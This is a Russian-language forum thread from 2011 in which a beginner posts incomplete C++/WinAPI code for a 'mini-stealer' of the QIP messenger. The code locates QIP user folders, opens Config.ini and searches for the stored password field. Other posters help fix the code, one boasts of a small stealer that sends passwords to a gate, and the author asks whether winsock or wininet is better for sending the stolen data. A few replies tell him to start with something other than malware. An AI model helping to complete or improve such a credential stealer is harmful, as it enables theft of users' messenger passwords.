WINAPI C++ министиллер qip посмотрите в чем ошибка кода
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 16:40:11.790000
|
|
|
Аpathy^^
Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
|
В ходе исследования вышло 2 вопроса: 1)как правильно проверить то,что в названии папки должны быть цифры одни. 2)как проверить что бы поле custom не пустое но еще и имеет длину 72
//---------------------------------------------------------------------------
#include <vcl.h>
#include <windows.h>
#pragma hdrstop
#include <tchar.h>
#include <io.h>
#include <stdio.h>
//---------------------------------------------------------------------------
bool FileExists(const char *fname)
{
return access(fname, 0) != -1;
}
#pragma argsused
WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
WIN32_FIND_DATA uin,cfg;
HANDLE f,config;
FILE *file;
AnsiString s,put,pass,s2;
int i;
char buf[100];
f=FindFirstFile("C:\\Program Files\\QIP\\Users\\*",&uin);
if(f!=INVALID_HANDLE_VALUE){
do{
s=uin.cFileName;
if(StrToInt(s)){ //ошибки начинаются вроде бы отсюда пишет про какую то чертову точку
put="c:\\Program Files\\QIP\\Users\\"+s+"\\Config.ini";
if(FileExists(put.c_str())){
if((file=fopen(put.c_str(),"rt"))!=NULL){
while(!feof(file)){
fgets(buf,1,file);
pass=buf;
if((pass.Pos("Custom1")!=0)&&strlen(pass.c_str())==72)//тут действия
}
fclose(file);
}
}
}
}
while(FindNextFile(f,&uin));
FindClose(f);}
return 0;
}
ps код убог,я знаю - я только начинаю pss х3 как выудить папки с названиями равными уинам,поэтому мне пришлось прикрепить vcl:@
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 17:24:04.293333
|
|
|
Flint_ta
Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
|
Я конечно в С++ не знаток, но: StrToInt(s) это вроде преобразование типа строковой переменной в целочисленное. Зачем вы s=uin.cFileName имя переводите в целочисленное? А по хорошему учитесь отлаживать ваш код.
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 18:02:23.930000
|
|
|
Аpathy^^
Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
|
логика такая- папка с файлом конфига в квипе имеет название равное уину… если преобразование удается то папка имело в себе только цифры…т.е так происходит отсев лишних папок
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 19:34:14.826666
|
|
|
Flint_ta
Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
|
А если не удается -приложение падает. Следует поставить обработчик исключений.
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 19:45:02.376666
|
|
|
Аpathy^^
Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
|
quote:
ORIGINAL: Flint_ta А если не удается -приложение падает. Следует поставить обработчик исключений. так и поступил - на данном этапе ищу интересующие строки в файле
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 20:23:54.306666
|
|
|
vvviperrr
Сообщений: 301
Оценки: 0
Присоединился: 2007-03-20 21:33:16.790000
|
quote:
1)как правильно проверить то,что в названии папки должны быть цифры одни.
inline bool isOnlyNumbers(const std::string &str)
{ return !str.empty() && std::find_if(str.begin(), str.end(), std::not1(ptr_fun(::isdigit))) == str.end(); }
quote:
2)как проверить что бы поле custom не пустое но еще и имеет длину 72
if (custom[0] != 0 && strlen(custom) == 72) {
// all ok
}
пс. господи, какое же убожество этот форум. раньше то не особо был, теперь вообще кошмар. лаги страшенные, при входе куки запоминает через раз, входшь с одной страницы, редиректит на соседний тред. одна реклама, на юзеров срать
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 20:36:02.720000
|
|
|
VаZoNeZ
Сообщений: 250
Оценки: 0
Присоединился: 2010-06-22 18:35:43.170000
|
quote:
ORIGINAL: Аpathy^^ логика такая- папка с файлом конфига в квипе имеет название равное уину… если преобразование удается то папка имело в себе только цифры…т.е так происходит отсев лишних папок Тонкий намёк — ничего не отсеивай. Создавай путь и пробуй открывать, нахрен тебе лишний код? Да, и еще GetPrivateProfileString А вообще, судя по топику, начинай-ка лучше не со стилера, а с чего-нибудь попроще.
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 20:41:20.493333
|
|
|
Аpathy^^
Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
|
quote:
ORIGINAL: VаZoNeZ quote:
ORIGINAL: Аpathy^^ логика такая- папка с файлом конфига в квипе имеет название равное уину… если преобразование удается то папка имело в себе только цифры…т.е так происходит отсев лишних папок Тонкий намёк — ничего не отсеивай. Создавай путь и пробуй открывать, нахрен тебе лишний код? Да, и еще GetPrivateProfileString А вообще, судя по топику, начинай-ка лучше не со стилера, а с чего-нибудь попроще. 1)по поводу кастом дак сначала нужно мне как-то спарсить символ после равно если он пуст break; с удовольствия выслушаю ваши предложения… ps может кто-то добрый оставит свои контакты, от себя обещаю не доставать вопросами, и безграничную благодарность но я бедный студент денег -0 если кто-то все таки решит прошу в пм
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 06:13:24.256666
|
|
|
Sunzer
Сообщений: 253
Оценки: 31190
Присоединился: 2007-06-15 19:23:32.436666
|
У меня в 900 байт есть стилер пароля от QIP 8095 + отправка на гейт )
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 06:34:53.686666
|
|
|
Аpathy^^
Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
|
quote:
ORIGINAL: Sunzer У меня в 900 байт есть стилер пароля от QIP 8095 + отправка на гейт ) яп какой?
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 08:14:34.120000
|
|
|
Sunzer
Сообщений: 253
Оценки: 31190
Присоединился: 2007-06-15 19:23:32.436666
|
quote:
яп какой? масм, конечный файл еще руками правда допилен.
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 12:42:43.126666
|
|
|
Аpathy^^
Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
|
я с++ то толком не знаю ты мне масм хвастаешься:) вопрос:если допишу может кто-помочь с оптимизацией??? вопрос:какой тип нужно юзать в рад 2009 чтобы можно было отказаться от vcl.h которое прибавляет основной вес вопрос:какой лучше метод исколькозовать для отправки гет-запроса: winsock или wininet???
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 13:06:25.153333
|
|
|
VаZoNeZ
Сообщений: 250
Оценки: 0
Присоединился: 2010-06-22 18:35:43.170000
|
quote:
ORIGINAL: Аpathy^^ я с++ то толком не знаю ты мне масм хвастаешься:) вопрос:если допишу может кто-помочь с оптимизацией??? вопрос:какой тип нужно юзать в рад 2009 чтобы можно было отказаться от vcl.h которое прибавляет основной вес вопрос:какой лучше метод исколькозовать для отправки гет-запроса: winsock или wininet??? ответ: начинать не со стилеров и другой малвари, а чего-нибудь более простого, мирного чтоли.
|
|
|
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 14:35:43.406666
|
|
|
Аpathy^^
Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
|
quote:
ORIGINAL: VаZoNeZ quote:
ORIGINAL: Аpathy^^ я с++ то толком не знаю ты мне масм хвастаешься:) вопрос:если допишу может кто-помочь с оптимизацией??? вопрос:какой тип нужно юзать в рад 2009 чтобы можно было отказаться от vcl.h которое прибавляет основной вес вопрос:какой лучше метод исколькозовать для отправки гет-запроса: winsock или wininet??? ответ: начинать не со стилеров и другой малвари, а чего-нибудь более простого, мирного чтоли. что именно можно написать чтобы изучить winapi?
|
|
|
|
|